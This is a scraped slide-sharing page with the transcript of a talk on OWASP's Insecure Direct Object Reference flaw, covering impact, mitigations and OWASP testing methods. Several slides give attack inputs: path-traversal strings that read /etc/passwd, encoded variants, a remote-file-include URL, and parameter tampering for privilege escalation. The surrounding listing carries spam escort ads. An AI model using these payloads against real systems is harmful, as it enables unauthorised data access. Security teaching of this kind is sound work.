Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Scott Keck-Warren
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxMalak Abu Hammad
 
Artificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraArtificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraDeakin University
 
Snow Chain-Integrated Tire for a Safe Drive on Winter Roads
Snow Chain-Integrated Tire for a Safe Drive on Winter RoadsSnow Chain-Integrated Tire for a Safe Drive on Winter Roads
Snow Chain-Integrated Tire for a Safe Drive on Winter RoadsHyundai Motor Group
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsMark Billinghurst
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure servicePooja Nehwal
 
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersEnhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersThousandEyes
 
Key Features Of Token Development (1).pptx
Key  Features Of Token  Development (1).pptxKey  Features Of Token  Development (1).pptx
Key Features Of Token Development (1).pptxLBM Solutions
 
Hyderabad Call Girls Khairatabad ✨ 7001305949 ✨ Cheap Price Your Budget
Hyderabad Call Girls Khairatabad ✨ 7001305949 ✨ Cheap Price Your BudgetHyderabad Call Girls Khairatabad ✨ 7001305949 ✨ Cheap Price Your Budget
Hyderabad Call Girls Khairatabad ✨ 7001305949 ✨ Cheap Price Your BudgetEnjoy Anytime
 

Recently uploaded (20)

How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?How to Remove Document Management Hurdles with X-Docs?
How to Remove Document Management Hurdles with X-Docs?
 
Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptx
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
 
SIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge GraphSIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge Graph
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machine
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men
 
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
Integration and Automation in Practice: CI/CD in Mule Integration and Automat...
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonets
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptx
 
Artificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraArtificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning era
 
Snow Chain-Integrated Tire for a Safe Drive on Winter Roads
Snow Chain-Integrated Tire for a Safe Drive on Winter RoadsSnow Chain-Integrated Tire for a Safe Drive on Winter Roads
Snow Chain-Integrated Tire for a Safe Drive on Winter Roads
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR Systems
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
 
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersEnhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
 
Key Features Of Token Development (1).pptx
Key  Features Of Token  Development (1).pptxKey  Features Of Token  Development (1).pptx
Key Features Of Token Development (1).pptx
 
Hyderabad Call Girls Khairatabad ✨ 7001305949 ✨ Cheap Price Your Budget
Hyderabad Call Girls Khairatabad ✨ 7001305949 ✨ Cheap Price Your BudgetHyderabad Call Girls Khairatabad ✨ 7001305949 ✨ Cheap Price Your Budget
Hyderabad Call Girls Khairatabad ✨ 7001305949 ✨ Cheap Price Your Budget
 

OWASP Top 10 A4 – Insecure Direct Object Reference

  • 1. OWASP Top 10 A4 – Insecure Direct Object Reference Narudom Roongsiriwong CISSP
  • 2. WhoAmI ● Lazy Blogger – Japan, Security, FOSS, Politics, Christian – http://narudomr.blogspot.com ● Information Security since 1995 ● Web Application Development since 1998 ● Head of IT Security, Kiatnakin Bank PLC (KKP) ● Contact: narudom.roongsiriwong@owasp.org
  • 3. What Is It? • Occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. • Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.
  • 4. Impact = Moderate ● Such flaws can compromise all the data that can be referenced by the parameter. ● Unless object references are unpredictable, it’s easy for an attacker to access all available data of that type. ● Consider the business value of the exposed data as well as the business impact of public exposure of the vulnerability.
  • 5. Why Care About Insecure Direct Object References? ● Although this vulnerability is easy to exploit and easy to detect, it is still usually ignored by developers ● June 2000, Australian Treasury GST(Goods and Services Tax) website was hacked and private information from 17,000 businesses breached, just by a student typing in an URL ● February 2014, Insecure Direct Object Reference allow attacker to delete all the posted thread and comments on Yahoo's Suggestion Board website → 1.5 million records
  • 6. Insecure Direct Object Web Page Query
  • 7. Not Only Web Page but XML Data Island Client Account ID Account ID
  • 8. Not Only Web Page but XML Data Island
  • 9. Not Only Web Page but XML Data Island
  • 10. Not Only Web Page but XML Data Island
  • 11. Misunderstanding on Insecure Direct Object Reference ● We use HTTPS nobody can change my POST parameters – HTTPS protects data in transportation not the end point, attackers can manipulate data using tools like OWASP Zap Proxy, Burp Suite or even Firebug plug-in for Firefox ● We use AJAX to exchange data browser's developer mode cannot see or change data – Proxy tools like OWASP Zap Proxy and Burp Suites are able to intercept HTTP(S) protocol including AJAX communication ● Our mobile application with HTTPS cannot be intercepted, nobody can change object references – No, attackers can run your app on rooted or jail-broken devices or in emulator or connect to access point with proxy tools as named above
  • 12. Misunderstanding on Insecure Direct Object Reference ● We can encrypt requests before POSTing – Be sure you use encryption not encoding like base64 – If you use symmetric encryption, the key will be on client side somewhere. ● Web application, the encryption key must be somewhere in your scripts. ● Mobile application, attackers can reverse engineering you app and find the key – If you use asymmetric encryption, it is safe, however your server processing will increase significantly.
  • 13. Mitigations ● Do not expose internal keys or identifiers – Keep user ID or key in a session variable – Use a temporary mapping value (See next slide) ● Use object references that are challenging to guess – GUID/UUID – Random Number ● Perform server-side authorization checks before object accesses (strongly recommend) – Verify the parameter value is properly formatted – Verify the user is allowed to access the target object – Verify the requested mode of access is allowed to the target object (e.g., read, write, delete)
  • 14. Temporary Mapping Value Account Label MapID 112536 Deposit 1 115696 Current 2 Temporary In session memory
  • 15. How Do You Test Applications? • Testing for insecure direct object references can be hard to automate – Automated scanners do not know what users should have access to what data • Inspect parameters being passed to applications • Manipulate parameters to see if sensitive information is disclosed • Look at pages whose only purpose is to display information about a single object – Documents – Accounts – Statements
  • 16. OWASP Testing Guide for A4 ● Authorization Testing – Testing Directory traversal/file include (OTG-AUTHZ-001) – Testing for Bypassing Authorization Schema (OTG-AUTHZ-002) – Testing for Privilege escalation (OTG-AUTHZ- 003) – Testing for Insecure Direct Object References (OTG-AUTHZ-004)
  • 17. Testing Directory traversal/file include (OTG-AUTHZ-001): Enumeration ● Are there request parameters which could be used for file-related operations? ● Are there unusual file extensions? ● Are there interesting variable names? – http://example.com/index.php?file=content – http://example.com/main.cgi?home=index.htm – http://example.com/getUserProfile.jsp?item=ikki.html ● Is it possible to identify cookies used by the web application for the dynamic generation of pages or templates? Cookie: ID=d9ccd3f4f9f18cc1:T- M=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:- TEMPLATE=flower Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
  • 18. Testing Directory traversal/file include (OTG-AUTHZ-001): Testing Techniques ● Insert the malicious string “../../../../” to include the password hash file for a Linux/Unix or boot.ini for Windows system – http://example.com/getUserProfile.jsp? item=../../../../etc/passwd ● For the cookies example: – Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd ● Try to include files and scripts located on external website. – http://example.com/index.php? file=http://www.owasp.org/malicioustxt ● Try to show the source code of a CGI component – http://example.com/main.cgi?home=main.cgi
  • 19. Testing Directory traversal/file include (OTG-AUTHZ-001): Testing Techniques If “../” does not work, try character encoding such as URL encoding, double URL encoding, Unicode/UTF-8 encoding Encoding Test with Represent URL %2e%2e%2f ../ %2e%2e/ ../ ..%2f ../ %2e%2e%5c .. %2e%2e .. ..%5c .. Double URL %252e%252e%255c .. ..%255c .. Unicode/UTF-8 ..%c0%af ../ ..%c1%9c ..
  • 20. Testing Directory traversal/file include (OTG-AUTHZ-001): Testing Tools ● DotDotPwn - The Directory Traversal Fuzzer - http://dotdotpwn.sectester.net ● Path Traversal Fuzz Strings (from WFuzz Tool) - http://code.google.com/p/wfuzz/source/brows e/trunk/wordlist/Injections/Traversal.txt ● Web Proxy (Burp Suite, Paros, WebScarab,OWASP: Zed Attack Proxy (ZAP)) ● Encoding/Decoding tools
  • 21. Testing Other Authorization (OTG-AUTHZ-002 to 004): Prerequisite ● Needs to map out all locations in the application where user input is used to reference objects directly. – A database row – A file – Application pages ● Having at least two (often more) users to cover different owned objects and functions – Users each having access to different objects (such as purchase information, private messages, etc.) – Users with different privileges (for example administrator users) to see whether there are direct references to application functionality
  • 22. Testing for Bypassing Authorization Schema (OTG-AUTHZ-002): Summary ● Focus on verifying how the authorization schema has been implemented for each role or privilege to get access to reserved functions and resources. ● States to verify – User is not authenticated – After the log-out – User that holds a different role or privilege ● Track all the administrative functions when: – Logging as a user with standard privileges – Logging as a user with a different role and for whom that action should be denied
  • 23. Testing for Bypassing Authorization Schema (OTG-AUTHZ-002): How to test ● Testing for access to administrative functions – Example, Try to post to administrator's “adduser” when logging on as non-administrative roles ● Testing for access to resources assigned to a different role – Example, analyze an application that uses a shared directory
  • 24. Testing for Privilege escalation (OTG- AUTHZ-003): Summary ● Verify that it is not possible for a user to modify his or her privileges or roles inside the application ● Privilege escalation occurs when a user gets access to more resources or functionality than they are normally allowed ● The degree of escalation depends on what privileges the attacker is authorized to possess, and what privileges can be obtained in a successful exploit ● Vertical escalation – access resources granted to more privileged accounts (e.g., acquiring administrative privileges for the application) ● Horizontal escalation – access resources granted to a similarly configured account (e.g., in an online banking application, accessing information related to a different user)
  • 25. Testing for Privilege escalation (OTG- AUTHZ-003): How to test POST /user/viewOrder.jsp HTTP/1.1 Host: www.example.com ... groupID=grp001&orderID=0001 This POST allows the user that belongs to grp001 to access order #0001, logon with a user that does not belong to grp001 then intercept the post & try to modify the parameters to gain access privileged data
  • 26. Testing for Privilege escalation (OTG- AUTHZ-003): How to test HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Date: Wed, 1 Apr 2006 13:51:20 GMT Set-Cookie: USER=aW78ryrGrTWs4MnOd32Fs51yDqp; path=/; domain=www.example.com Set-Cookie: SESSION=k+KmKeHXTgDi1J5fT7Zz; path=/; domain= www.example.com Cache-Control: no-cache Pragma: No-cache Content-length: 247 Content-Type: text/html Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close <form name="autoriz" method="POST" action = "visual.jsp"> <input type="hidden" name="profile" value="SysAdmin"> <body onload="document.forms.autoriz.submit()"> </td> </tr> This HTML shows a hidden field to the user after a successful administrative user authentication. Logon with another non-administrative user and modify the value of the variable "profile" to "SysAdmin"? Is it possible to become administrator?
  • 27. Testing for Insecure Direct Object References (OTG-AUTHZ-004): Scenarios ● Retrieve a database record – http://foo.bar/somepage?invoice=12345 ● Perform an operation in the application – http://foo.bar/changepassword?user=someuser ● Retrieve a file system resource – http://foo.bar/showImage?img=img00011 ● Access application functionality – http://foo.bar/accessPage?menuitem=12
  • 28. Testing for Insecure Direct Object References (OTG-AUTHZ-004): Where to Look for ● URL Query String ● Cookie (HTTP Header) ● Request Body (Post Method) – Query String – XML SOAP Interface – JSON Document ● Check Web URL, Web Forms, AJAX Communication, Mobile HTTP Request and Web Service
  • 29. Common Tools for Authorization Testing ● Web Proxy (Burp Suite, Paros, WebScarab,OWASP: Zed Attack Proxy (ZAP))
  • 30. Recap ● Insecure direct object references occur when an application exposes internal references to objects via parameters passed to the application ● To guard against: – Do not expose internal keys or identifiers for objects – Use object references that are challenging to guess – Perform server-side authorization checks before object accesses (strongly recommend)
  • 31. References • OWASP – OWASP Top 10 2010-A4-Insecure Direct Object References – ESAPI Access Reference Map – ESAPI Access Control API (See isAuthorizedForData(), isAuthorizedForFile(), isAuthorizedForFunction()) • External – CWE Entry 639 on Insecure Direct Object Reference – CWE Entry 22 on Path Traversal (an example of a Direct Object Reference attack)